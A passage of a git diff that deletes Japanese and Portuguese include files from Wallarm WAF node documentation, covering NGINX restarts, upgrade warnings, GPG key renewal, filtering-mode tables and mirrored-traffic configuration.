b/include-ja/waf/restart-nginx-4.4-and-above.md deleted file mode 100644 index 0fa71363d4..0000000000 --- a/include-ja/waf/restart-nginx-4.4-and-above.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/restart-nginx-4.4.md b/include-ja/waf/restart-nginx-4.4.md deleted file mode 100644 index 0fa71363d4..0000000000 --- a/include-ja/waf/restart-nginx-4.4.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/root_perm_info.md b/include-ja/waf/root_perm_info.md deleted file mode 100644 index e1329d277a..0000000000 --- a/include-ja/waf/root_perm_info.md +++ /dev/null @@ -1,8 +0,0 @@ -!!! info "ユーザーに`root`権限を付与します" - `root`権限を持たないユーザーとしてNGINXを実行している場合は、次のコマンドを使用してこのユーザーを`wallarm`グループに追加します： - - ``` - usermod -aG wallarm ; - ``` - - ここで、``は`root`権限を持たないユーザーの名前です。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/api-port-443.md b/include-ja/waf/upgrade/api-port-443.md deleted file mode 100644 index 7c68603209..0000000000 --- a/include-ja/waf/upgrade/api-port-443.md +++ /dev/null @@ -1,5 +0,0 @@ -バージョン4.0以降、フィルタリングノードは、`us1.api.wallarm.com:444`および`api.wallarm.com:444`ではなく、`us1.api.wallarm.com:443`（US Cloud）および`api.wallarm.com:443`（EU Cloud）のAPIエンドポイントを使用してCloudにデータをアップロードします。 - -ノードを3.x以下のバージョンからアップグレードし、ノードがデプロイされているサーバーが外部リソースへのアクセスを制限していて、各リソースごとに個別にアクセスを許可している場合は、アップグレード後にフィルタリングノードとCloudの間の同期が停止します。 - -同期を復元するには、設定で各リソースのAPIエンドポイントのポートを`444`から`443`に変更してください。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/details-about-dist-upgrade.md b/include-ja/waf/upgrade/details-about-dist-upgrade.md deleted file mode 100644 index 28c015c06c..0000000000 --- a/include-ja/waf/upgrade/details-about-dist-upgrade.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Wallarmの依存関係のアップグレード" - `sudo apt dist-upgrade`コマンドはWallarmパッケージとフィルタリングノードの依存関係の両方をアップグレードします。これは、より新しいフィルタリングノードのバージョンを正しく動作させるための推奨されるアップグレード方法です。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/migrate-to-overlimit-rule-docker.md b/include-ja/waf/upgrade/migrate-to-overlimit-rule-docker.md deleted file mode 100644 index dccb8b3976..0000000000 --- a/include-ja/waf/upgrade/migrate-to-overlimit-rule-docker.md +++ /dev/null @@ -1,24 +0,0 @@ -バージョン3.6以降、Wallarm Consoleのルールを使用して`overlimit_res`攻撃の検出を微調整できます。 - -以前は、[`wallarm_process_time_limit`][nginx-process-time-limit-docs]および[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs]のNGINXディレクティブが使用されていました。 - -これらのディレクティブとパラメータは新しいルールのリリースに伴い非推奨となり、将来のリリースで削除されます。 - -上記のパラメータで`overlimit_res`攻撃の検出設定をカスタマイズしている場合は、次の手順でルールに移行することを推奨します: - -1. Wallarm Console → **Rules WAF**を開き、[**Limit request processing time**][overlimit-res-rule-docs]ルールの設定に進みます。 -1. マウントされた設定ファイルと同様にルールを設定します: - - * ノードが単一のリクエストを処理する時間上限(ミリ秒): `wallarm_process_time_limit`または`process_time_limit`の値です。 - - !!! warning "システムメモリ枯渇のリスク" - 時間上限を高く設定した場合や、上限超過後もリクエスト処理を継続する設定にした場合、メモリを使い果たしたり、時間内にリクエストを処理できなくなる可能性があります。 - - * ノードは[ノードのフィルタリングモード][waf-mode-instr]に応じて`overlimit_res`攻撃をブロックするか通過させます: - - * **monitoring**モードでは、ノードはオリジナルのリクエストをアプリケーションアドレスに転送します。アプリケーションは、処理済み部分と未処理部分の両方に含まれる攻撃に悪用されるリスクがあります。 - * **safe blocking**モードでは、ノードは[graylisted][graylist-docs] IPアドレスからのリクエストであればブロックします。そうでない場合、ノードはオリジナルのリクエストをアプリケーションアドレスに転送します。アプリケーションは、処理済み部分と未処理部分の両方に含まれる攻撃に悪用されるリスクがあります。 - * **block**モードでは、ノードはリクエストをブロックします。 -1. マウントされた設定ファイルから`wallarm_process_time_limit`、`wallarm_process_time_limit_block`のNGINXディレクティブを削除します。 - - `overlimit_res`攻撃の検出がパラメータとルールの両方で微調整されている場合、ノードはルールの設定に従ってリクエストを処理します。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md b/include-ja/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md deleted file mode 100644 index 03ba37a73a..0000000000 --- a/include-ja/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md +++ /dev/null @@ -1,23 +0,0 @@ -バージョン3.6以降、Wallarm Consoleのルールを使用して`overlimit_res`攻撃検出を細かく調整できます。 - -従来は、[`wallarm_process_time_limit`][nginx-process-time-limit-docs]と[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs]のNGINXディレクティブが使用されていました。これらのディレクティブは新しいルールのリリースに伴い非推奨となり、今後のリリースで削除されます。 - -上記のディレクティブで`overlimit_res`攻撃検出の設定をカスタマイズしている場合は、次のようにルールへ移行することを推奨します： - -1. Wallarm Console → **Rules WAF**を開き、[**Limit request processing time**][overlimit-res-rule-docs]ルールの設定に進みます。 -1. NGINXディレクティブで行っていたのと同様にルールを構成します： - - * ルール条件は、`wallarm_process_time_limit`および`wallarm_process_time_limit_block`ディレクティブが指定されたNGINXの設定ブロックに一致するように設定します。 - * ノードが1件のリクエストを処理する時間の上限（ミリ秒）：`wallarm_process_time_limit`の値。 - - !!! warning "システムメモリ枯渇のリスク" - 時間上限を高く設定した場合や、上限超過後もリクエスト処理を継続する設定にした場合、メモリ枯渇や時間内に完了しないリクエスト処理を引き起こす可能性があります。 - - * ノードは、[ノードのフィルタリングモード][waf-mode-instr]に応じて`overlimit_res`攻撃をブロックするか通過させます： - - * **monitoring**モードでは、ノードは元のリクエストをアプリケーションのアドレスに転送します。アプリケーションには、処理済み部分と未処理部分の双方に含まれる攻撃に悪用されるリスクがあります。 - * **safe blocking**モードでは、リクエストの送信元が[graylisted][graylist-docs]IPアドレスの場合、ノードはリクエストをブロックします。そうでない場合、ノードは元のリクエストをアプリケーションのアドレスに転送します。アプリケーションには、処理済み部分と未処理部分の双方に含まれる攻撃に悪用されるリスクがあります。 - * **block**モードでは、ノードはリクエストをブロックします。 -1. `values.yaml`の設定ファイルから`wallarm_process_time_limit`および`wallarm_process_time_limit_block`のNGINXディレクティブを削除します。 - - `overlimit_res`攻撃検出をディレクティブとルールの両方で微調整している場合、ノードはルールの設定に従ってリクエストを処理します。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/migrate-to-overlimit-rule-nginx.md b/include-ja/waf/upgrade/migrate-to-overlimit-rule-nginx.md deleted file mode 100644 index 220bffdb8e..0000000000 --- a/include-ja/waf/upgrade/migrate-to-overlimit-rule-nginx.md +++ /dev/null @@ -1,23 +0,0 @@ -バージョン3.6以降、Wallarm Consoleのルールを使用して`overlimit_res`攻撃の検出を細かく調整できます。 - -これまでは、[`wallarm_process_time_limit`][nginx-process-time-limit-docs]と[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs]のNGINXディレクティブが使用されていました。新しいルールのリリースに伴い、これらのディレクティブは非推奨となり、今後のリリースで削除される予定です。 - -上記のディレクティブで`overlimit_res`攻撃の検出設定をカスタマイズしている場合は、次の手順で設定をルールへ移行することを推奨します: - -1. Wallarm Console → **Rules WAF**を開き、[**Limit request processing time**][overlimit-res-rule-docs]ルールの設定に進みます。 -1. NGINXディレクティブで行っていた内容に合わせてルールを設定します: - - * ルール条件は、`wallarm_process_time_limit`および`wallarm_process_time_limit_block`ディレクティブが指定されたNGINXの設定ブロックに一致するようにします。 - * ノードが単一のリクエストを処理するための時間制限（ミリ秒）：`wallarm_process_time_limit`の値。 - - !!! warning "システムメモリ枯渇のリスク" - 高い時間制限の設定や、制限超過後もリクエスト処理を継続する設定は、メモリ枯渇や許容時間を超えたリクエスト処理を引き起こす可能性があります。 - - * ノードは、[ノードのフィルタリングモード][waf-mode-instr]に応じて`overlimit_res`攻撃をブロックするか通過させます: - - * **monitoring**モードでは、ノードは元のリクエストをアプリケーションのアドレスに転送します。アプリケーションは、処理済み部分と未処理部分の両方に含まれる攻撃に悪用されるリスクがあります。 - * **safe blocking**モードでは、リクエストの送信元が[graylisted][graylist-docs]のIPアドレスである場合、ノードはリクエストをブロックします。それ以外の場合、ノードは元のリクエストをアプリケーションのアドレスに転送します。アプリケーションは、処理済み部分と未処理部分の両方に含まれる攻撃に悪用されるリスクがあります。 - * **block**モードでは、ノードはリクエストをブロックします。 -1. NGINXの設定ファイルから`wallarm_process_time_limit`と`wallarm_process_time_limit_block`のNGINXディレクティブを削除します。 - - `overlimit_res`攻撃の検出がディレクティブとルールの両方で微調整されている場合、ノードはルールの設定に従ってリクエストを処理します。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-deprecated-version-upgrade-instructions.md b/include-ja/waf/upgrade/warning-deprecated-version-upgrade-instructions.md deleted file mode 100644 index 016a425125..0000000000 --- a/include-ja/waf/upgrade/warning-deprecated-version-upgrade-instructions.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! warning "Wallarmノード3.6およびそれ以前はサポート対象外です" - これらのバージョンは[サポート対象外であり、サポート終了です](../versioning-policy.md#version-list)ので、Wallarmノード3.6およびそれ以前をアップグレードすることを推奨します。 - - 最新バージョンのWallarmノードでは、ノードの設定とトラフィックのフィルタリングが大幅に簡素化されています。モジュールをアップグレードする前に、[変更点の一覧](what-is-new.md)と[一般的な推奨事項](../general-recommendations.md)をよく確認してください。最新バージョンのWallarmノードの一部設定は、3.6およびそれ以前のWallarmノードと**非互換**であることに注意してください。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.0.md b/include-ja/waf/upgrade/warning-expired-gpg-keys-4.0.md deleted file mode 100644 index bf50e7c1a4..0000000000 --- a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.0.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "エラー「signatures couldn't be verified」" - 追加したGPGキーの有効期限が切れている場合、次のエラーが返されます: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - 問題を解決するには、Wallarmパッケージ用の新しいGPGキーをインポートし、次のコマンドでパッケージをアップグレードしてください: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.2.md b/include-ja/waf/upgrade/warning-expired-gpg-keys-4.2.md deleted file mode 100644 index 54999e2077..0000000000 --- a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.2.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "エラー「signatures couldn't be verified」" - 追加したGPGキーの有効期限が切れている場合、以下のエラーが表示されます： - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - 問題を解決するには、Wallarmパッケージ用の新しいGPGキーをインポートし、次のコマンドを使用してパッケージをアップグレードしてください： - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.4.md b/include-ja/waf/upgrade/warning-expired-gpg-keys-4.4.md deleted file mode 100644 index 5bd43e8de2..0000000000 --- a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.4.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "エラー "signatures couldn't be verified"" - 追加したGPGキーの有効期限が切れている場合、以下のエラーが返されます： - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - 問題を解決するには、次のコマンドを使用してWallarmパッケージ用の新しいGPGキーをインポートし、その後パッケージをアップグレードしてください： - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.6.md b/include-ja/waf/upgrade/warning-expired-gpg-keys-4.6.md deleted file mode 100644 index b5ab5f9199..0000000000 --- a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.6.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "エラー "signatures couldn't be verified"" - 追加したGPGキーの有効期限が切れている場合、次のエラーが表示されます: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - この問題を解決するには、Wallarmパッケージ用の新しいGPGキーをインポートしてから、次のコマンドを使用してパッケージをアップグレードしてください: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.8.md b/include-ja/waf/upgrade/warning-expired-gpg-keys-4.8.md deleted file mode 100644 index 233d59e586..0000000000 --- a/include-ja/waf/upgrade/warning-expired-gpg-keys-4.8.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "エラー "signatures couldn't be verified"" - 追加済みのGPGキーの有効期限が切れている場合、次のエラーが返されます: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - この問題を解決するには、Wallarmパッケージ用の新しいGPGキーをインポートしてから、次のコマンドでパッケージをアップグレードしてください: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-node-types-upgrade-to-3.4.md b/include-ja/waf/upgrade/warning-node-types-upgrade-to-3.4.md deleted file mode 100644 index 12a4ecc10c..0000000000 --- a/include-ja/waf/upgrade/warning-node-types-upgrade-to-3.4.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "破壊的変更とノードタイプごとのアップグレードに関する推奨事項" - * Wallarm node 2.18以下をアップグレードする場合、3.xには**破壊的変更**が含まれていることにご注意ください。2.18以下のモジュールを3.4にアップグレードする前に、[Wallarm nodeの変更点](what-is-new.md)の一覧をよくご確認のうえ、設定変更が必要となる可能性を考慮してください。 - * バージョン3.2以下の通常の(クライアント)ノードおよび[マルチテナント](../installation/multi-tenant/overview.md)ノードの両方をバージョン3.4にアップグレードすることを推奨します。これにより、最新のWallarmリリースに追随でき、[インストール済みモジュールの非推奨化](versioning-policy.md#version-support)を防止できます。 \ No newline at end of file diff --git a/include-ja/waf/upgrade/warning-node-types-upgrade-to-3.6.md b/include-ja/waf/upgrade/warning-node-types-upgrade-to-3.6.md deleted file mode 100644 index daacd1556a..0000000000 --- a/include-ja/waf/upgrade/warning-node-types-upgrade-to-3.6.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "破壊的変更とノード種別ごとのアップグレード推奨事項" - * Wallarm node 2.18以下をアップグレードする場合、3.xには**破壊的変更**が含まれていることにご注意ください。2.18以下のモジュールを3.6にアップグレードする前に、「[Wallarm nodeの変更点](older-versions/what-is-new.md)」をよく確認し、必要に応じて設定の変更をご検討ください。 - * 通常（クライアント）ノードと[マルチテナント](../installation/multi-tenant/overview.md)ノードの両方をバージョン3.6にアップグレードすることを推奨します。これにより、最新のWallarmリリースに追随でき、[インストール済みモジュールの非推奨化](versioning-policy.md#version-support)を防止できます。 \ No newline at end of file diff --git a/include-ja/wallarm-cloud-ips.md b/include-ja/wallarm-cloud-ips.md deleted file mode 100644 index a63d5b82c9..0000000000 --- a/include-ja/wallarm-cloud-ips.md +++ /dev/null @@ -1,15 +0,0 @@ -=== "USクラウド" - ``` - 34.96.64.17 - 34.110.183.149 - 35.235.66.155 - 34.102.90.100 - 34.94.156.115 - 35.235.115.105 - ``` -=== "EUクラウド" - ``` - 34.160.38.183 - 34.144.227.90 - 34.90.110.226 - ``` \ No newline at end of file diff --git a/include-ja/wallarm-modes-description-3.6.md b/include-ja/wallarm-modes-description-3.6.md deleted file mode 100644 index b0e2c39abe..0000000000 --- a/include-ja/wallarm-modes-description-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -| Wallarmノードの動作 | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| 受信リクエストに次の種類の悪意のあるペイロードが含まれているかを解析します：[入力検証攻撃](../about-wallarm/protecting-against-attacks.md#input-validation-attacks)、[vpatch攻撃](../user-guides/rules/vpatch-rule.md)、または[正規表現に基づき検出された攻撃](../user-guides/rules/regex-rule.md) | - | + | + | + | -| 悪意のあるリクエストをWallarm Cloudにアップロードし、event listに表示されるようにします | - | + | + | + | -| 悪意のあるリクエストをブロックします | - | - | [graylistに登録されたIP](../user-guides/ip-lists/graylist.md)からのもののみ | + | -| [denylistに登録されたIP](../user-guides/ip-lists/denylist.md)からのリクエストをブロックします例外を参照 | denylistを参照しません | - | + | + | -| [graylistに登録されたIP](../user-guides/ip-lists/graylist.md)からのリクエストをブロックします | graylistを参照しません | - | 悪意のあるペイロードを含むもののみ | graylistを参照しません | -| [allowlistに登録されたIP](../user-guides/ip-lists/allowlist.md)からのリクエストを許可します | allowlistを参照しません | + | + | + | - -!!! warning "例外" - [`wallarm_acl_access_phase on`][acl-access-phase]が有効な場合、`off`および`monitoring`を含むいずれのモードでも、denylistに登録されたIPからのリクエストはブロックされます \ No newline at end of file diff --git a/include-ja/wallarm-modes-description-5.0.md b/include-ja/wallarm-modes-description-5.0.md deleted file mode 100644 index df92f28c64..0000000000 --- a/include-ja/wallarm-modes-description-5.0.md +++ /dev/null @@ -1,11 +0,0 @@ -| Wallarmノードの動作 | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| 受信リクエストに対して、[入力検証](../attacks-vulns-list.md#attack-types)、[仮想パッチ](../user-guides/rules/vpatch-rule.md)、および[正規表現ベース](../user-guides/rules/regex-rule.md)の悪意のあるペイロードを解析します | - | + | + | + | -| 悪意のあるリクエストをWallarm Cloudにアップロードして、イベントリストに表示されるようにします | - | + | + | + | -| 悪意のあるリクエストをブロックします | - | - | [graylisted IPs](../user-guides/ip-lists/overview.md)からのもののみ | + | -| [denylisted IPs](../user-guides/ip-lists/overview.md)からのリクエストをブロックします例外を参照
              （IPは手動で追加される場合と、[複数攻撃保護](../admin-en/configuration-guides/protecting-with-thresholds.md)や挙動ベースの保護：[API abuse prevention](../api-abuse-prevention/setup.md)、[manual BOLA](../admin-en/configuration-guides/protecting-against-bola-trigger.md)、[brute force](../admin-en/configuration-guides/protecting-against-bruteforce.md)、[forced browsing](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md)により自動的に追加される場合があります） | - | + | + | + | -| [graylisted IPs](../user-guides/ip-lists/overview.md)からのリクエストをブロックします
              （denylistと同じ保護手段により手動または自動で追加されたIP） | - | - | 悪意のあるペイロードを含むもののみ | - | -| [allowlisted IPs](../user-guides/ip-lists/overview.md)からのリクエストを許可します | - | + | + | + | - -!!! warning "denylistの例外" - [`wallarm_acl_access_phase off`][acl-access-phase]の場合、Wallarmノードは`monitoring`モードでdenylisted IPsからのリクエストをブロックしません。 \ No newline at end of file diff --git a/include-ja/wallarm-modes-description-latest.md b/include-ja/wallarm-modes-description-latest.md deleted file mode 100644 index 5f9499248e..0000000000 --- a/include-ja/wallarm-modes-description-latest.md +++ /dev/null @@ -1,11 +0,0 @@ -| Wallarmノードの動作 | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| 受信リクエストを[入力検証](../attacks-vulns-list.md#attack-types)、[仮想パッチ](../user-guides/rules/vpatch-rule.md)、および[正規表現ベース](../user-guides/rules/regex-rule.md)の悪意のあるペイロードについて解析します | - | + | + | + | -| 悪意のあるリクエストをWallarm Cloudにアップロードし、event listに表示されるようにします | - | + | + | + | -| 悪意のあるリクエストをブロックします | - | - | [グレーリストに登録されたIP](../user-guides/ip-lists/overview.md)からのもののみです | + | -| [拒否リストに登録されたIP](../user-guides/ip-lists/overview.md)からのリクエストをブロックします例外あり
              （手動で追加されたIP、および[複数攻撃の保護](../admin-en/configuration-guides/protecting-with-thresholds.md)とふるまいベースの保護（[API乱用対策](../api-abuse-prevention/setup.md)、[手動BOLA](../admin-en/configuration-guides/protecting-against-bola-trigger.md)、[総当たり攻撃](../admin-en/configuration-guides/protecting-against-bruteforce.md)、[強制ブラウジング](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md)、[汎用列挙](../api-protection/enumeration-attack-protection.md)）により自動で追加されたIP） | - | + | + | + | -| [グレーリストに登録されたIP](../user-guides/ip-lists/overview.md)からのリクエストをブロックします
              （拒否リストの場合と同じ保護手段によって手動または自動で追加されたIP） | - | - | 悪意のあるペイロードを含むもののみです | - | -| [許可リストに登録されたIP](../user-guides/ip-lists/overview.md)からのリクエストを許可します | - | + | + | + | - -!!! warning "拒否リストの例外" - [`wallarm_acl_access_phase off`][acl-access-phase]の場合、`monitoring`モードではWallarmノードは拒否リストに登録されたIPからのリクエストをブロックしません。 \ No newline at end of file diff --git a/include-ja/wallarm-modes-description.md b/include-ja/wallarm-modes-description.md deleted file mode 100644 index 7280dbb9e6..0000000000 --- a/include-ja/wallarm-modes-description.md +++ /dev/null @@ -1,8 +0,0 @@ -| Wallarmノードの動作 | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| 受信リクエストに、次のタイプの悪意のあるペイロードが含まれているかを解析します：[入力検証攻撃](../about-wallarm/protecting-against-attacks.md#input-validation-attacks)、[vpatch攻撃](../user-guides/rules/vpatch-rule.md)、または[正規表現に基づいて検出される攻撃](../user-guides/rules/regex-rule.md) | - | + | + | + | -| 悪意のあるリクエストをWallarm Cloudにアップロードし、イベント一覧に表示されるようにします | - | + | + | + | -| 悪意のあるリクエストをブロックします | - | - | [graylisted IPs](../user-guides/ip-lists/overview.md)からのもののみブロックします | + | -| [denylisted IPs](../user-guides/ip-lists/overview.md)からのリクエストをブロックします | - | - | + | + | -| [graylisted IPs](../user-guides/ip-lists/overview.md)からのリクエストをブロックします | - | - | 悪意のあるペイロードを含むもののみブロックします | - | -| [allowlisted IPs](../user-guides/ip-lists/overview.md)からのリクエストを許可します | - | + | + | + | \ No newline at end of file diff --git a/include-ja/wallarm-node-configuration-for-mirrored-traffic-3.6.md b/include-ja/wallarm-node-configuration-for-mirrored-traffic-3.6.md deleted file mode 100644 index f1e23c8baa..0000000000 --- a/include-ja/wallarm-node-configuration-for-mirrored-traffic-3.6.md +++ /dev/null @@ -1,24 +0,0 @@ -Wallarmノードがミラーリングトラフィックを処理できるように、次の設定を行います： - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#222.222.222.22をミラーリングサーバーのアドレスに変更します -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* [`real_ip_header`](../../using-proxy-or-balancer-en.md)ディレクティブは、Wallarm Consoleに攻撃者のIPアドレスを表示するために必要です。 -* `wallarm_force_response_*`ディレクティブは、ミラーリングトラフィックから受信したコピー以外のすべてのリクエストの解析を無効化するために必要です。 -* 悪意のあるリクエストはブロック[できません](overview.md#limitations-of-mirrored-traffic-filtration)ので、`wallarm_mode`ディレクティブまたはWallarm Cloudにより安全または通常のブロッキングモードが設定されている場合でも（offに設定されている場合を除き）、Wallarmノードは常にモニタリング[モード](../../configure-wallarm-mode.md)でリクエストを解析します。 - -ミラーリングトラフィックの処理はNGINXベースのノードでのみサポートされます。上記の設定は次のとおりに設定します： - -* ノードをDEB/RPMパッケージからインストールする場合 - `/etc/nginx/conf.d/default.conf`のNGINX設定ファイルに設定します。 -* ノードを[AWS](../../installation-ami-en.md)または[GCP](../../installation-gcp-en.md)のクラウドイメージからデプロイする場合 - `/etc/nginx/nginx.conf`のNGINX設定ファイルに設定します。 -* [Dockerイメージ](../../installation-docker-en.md)からノードをデプロイする場合 - 上記の設定を含むファイルをコンテナにマウントします。 -* ノードを[Ingressコントローラー](../../installation-kubernetes-en.md)として実行する場合 - 上記の設定を含むConfigMapをPodにマウントします。 \ No newline at end of file diff --git a/include-ja/wallarm-node-configuration-for-mirrored-traffic.md b/include-ja/wallarm-node-configuration-for-mirrored-traffic.md deleted file mode 100644 index debcd2eb74..0000000000 --- a/include-ja/wallarm-node-configuration-for-mirrored-traffic.md +++ /dev/null @@ -1,23 +0,0 @@ -Wallarmノードがミラーリングされたトラフィックを処理できるように、次の設定を行います: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#ミラーリングサーバーのアドレスに222.222.222.22を置き換えます -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* [`real_ip_header`](../../using-proxy-or-balancer-en.md)ディレクティブは、Wallarm Consoleに攻撃元のIPアドレスを表示するために必要です。 -* `wallarm_force_response_*`ディレクティブは、ミラーリングされたトラフィックから受信したコピー以外のすべてのリクエストの解析を無効にするために必要です。 -* 悪意のあるリクエストは[ブロックできない](overview.md#limitations-of-mirrored-traffic-filtration)ため、`wallarm_mode`ディレクティブまたはWallarm Cloudが安全または通常のブロッキングモード（offに設定されたモードを除く）を設定している場合でも、Wallarmノードは常にモニタリング[モード](../../configure-wallarm-mode.md)でリクエストを解析します。 - -ミラーリングされたトラフィックの処理はNGINXベースのノードでのみサポートされます。次のとおり設定します: - -* ノードをオールインワンインストーラ、[AWS](../../installation-ami-en.md)または[GCP](../../installation-gcp-en.md)のクラウドイメージからデプロイする場合 - '/etc/nginx/nginx.conf'のNGINX構成ファイルに設定します。 -* ノードを[Dockerイメージ](../../installation-docker-en.md)からデプロイする場合 - この設定を記述したファイルをコンテナにマウントします。 -* ノードを[Sidecar](../../../installation/kubernetes/sidecar-proxy/deployment.md)または[Ingressコントローラ](../../installation-kubernetes-en.md)として実行する場合 - この設定を含むConfigMapをpodにマウントします。 \ No newline at end of file diff --git a/include-pt-BR/access-repo-en.md b/include-pt-BR/access-repo-en.md deleted file mode 100644 index 929a43e842..0000000000 --- a/include-pt-BR/access-repo-en.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "Acesso ao repositório" - Seu sistema deve ter acesso a `https://repo.wallarm.com` para baixar os pacotes. - - Certifique-se de que o acesso não está bloqueado por um firewall. \ No newline at end of file diff --git a/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md b/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md deleted file mode 100644 index c8832e18dc..0000000000 --- a/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller-2.18.md +++ /dev/null @@ -1,36 +0,0 @@ -A memória do Tarantool é configurada para o pod `ingress-controller-wallarm-tarantool` usando as seguintes seções no arquivo `values.yaml`: - -* Para configurar a memória em GB: - ``` - controller: - wallarm: - tarantool: - arena: "0.2" - ``` - -* Para configurar a memória em CPU: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 1000m - memory: 1640Mi - requests: - cpu: 1000m - memory: 1640Mi - ``` - -Os parâmetros listados são configurados usando a opção `--set` dos comandos `helm install` e `helm upgrade`, por 